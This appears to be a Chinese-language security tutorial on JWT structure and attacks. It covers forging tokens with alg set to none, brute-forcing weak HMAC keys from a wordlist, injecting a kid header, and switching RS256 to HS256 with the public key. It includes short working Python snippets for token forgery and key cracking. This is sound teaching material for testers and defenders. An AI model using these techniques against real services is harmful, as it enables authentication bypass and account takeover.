针对 JWT 的几种攻击方法

参考文章

JWT(Json Web Token)认证
 Json Web Token 2020 攻击指南

前置知识

Json Web Token。是在完成身份验证之后，服务器生成的一个 JSON 对象并将其加密后返回给用户形如 xxxx.xxxxx.xxxxx 的一串字符
之后，客户端与服务器之间的通信便可依靠该字符串来做身份验证，通常 JWT 存放在 cookie 或者其他请求头中。
JWT 由三部分构成，header（头部，示意签名使用的算法）、payload（载荷，存储有效数据）和 signature（签名，校验数据有效性）

头部
通常由形如如下 json 数据经过 Base64URL 加密算法生成

{
    "alg": "HS256",
    "typ": "JWT"
}

其中，alg 表示后续签名部分使用的加密算法，一般有

alg	代表的算法
HS256	HAMC_HASH-256
HS384	HAMC_HASH-384
HS512	HAMC_HASH-512
RS256	RSASSA_HASH-256
RS384	RSASSA_HASH-384
RS512	RSASSA_HASH-512
ES256	ECDSA_P-256 + HASH-256
ES384	ECDSA_P-384 + HASH-384
ES512	ECDSA_P-512 + HASH-512
none	不使用

typ 表示数据类型

其中 Base64URL 算法：数据经过 Base64 加密后将结果中的=去掉，+用-替换，/用_替换

载荷
包含需要传递的数据，通常由形如如下 json 数据经过 Base64URL 加密算法生成：

{
    "iss": "发行人",
    "iat": "发布时间",
    "nbf": "有效时间起点",
    "exp": "到期时间",
    "sub": "主题",
    "aud": "用户",
    "jti": "JWT ID用于标识该JWT",
    "xxxxx": "自定义字段内容"
}

签名
该部分是对头部、载荷两部分数据通过头部中指定的算法生成哈希结果，用于保数据不会被篡改，一般未经过 Base64URL 加密，可选
比如说，头部中 alg 值为 HS256，则生成前面的算法为：
HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload),密钥)

JWT 与 cookie、session、token 有什么区别可以看这里

可能存在的问题

签名校验问题

后端未对签名 signature 做校验，故可直接篡改载荷 payload 内容，并可一并删除 singature 签名字段来尝试绕过签名校验
将 alg 值置为 none，若服务器支持 none 算法，便可绕过签名校验

import jwt

print(jwt.encode({"xxx":"xxx"}, key="", algorithm="none"))

将生成的 jwt 字符串(可删除结尾的.) 替换原有的字符串测试即可

弱密钥暴力破解

当 alg 值为 HMAC 类对称加密算法时，可以针对密钥进行暴力破解
网上的脚本：

import jwt

jwt_json='jwt 数据'
with open('dict.txt',encoding='utf-8') as f:  # 传入字典
        for line in f:
            key = line.strip()
            try:
                jwt.decode(jwt_json,verify=True,key=key,algorithm='HS256') # 指定对称加密算法
                print('found key! --> ' +  key)
                break
            except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
                print('found key! --> ' +  key)
                break
            except(jwt.exceptions.InvalidSignatureError):
                print('verify key! -->' + key)
                continue
        else:
            print("key not found!")

kid 指定攻击

kid 即为 key ID ，存在于 jwt header 头部中，是一个可选的字段，用来指定加密算法的密钥

{
    "alg": "HS256",
    "typ": "JWT",
    "kid": "xxx"
}

通过在头部注入新的 kid 字段，并指定 HS256 算法的 key 密钥为 xxx，生成新的 jwt 数据

import jwt

jwt.encode({"xxx":"xxx"},key="xxx",algorithm='HS256',headers={"kid":"xxx"})

若服务器并未对 header 头部做限制，那么程序将会按照 header 中指定的密钥进行校验，从而通过签名校验

非对称加密算法转对称加密算法

当 header 头部指定签名算法为 RSA 非对称加密算法时，可以替换为 HMAC 对称加密算法，并且通过获取到的公钥重新做签名
服务器在签名校验时便可能会使用公钥做校验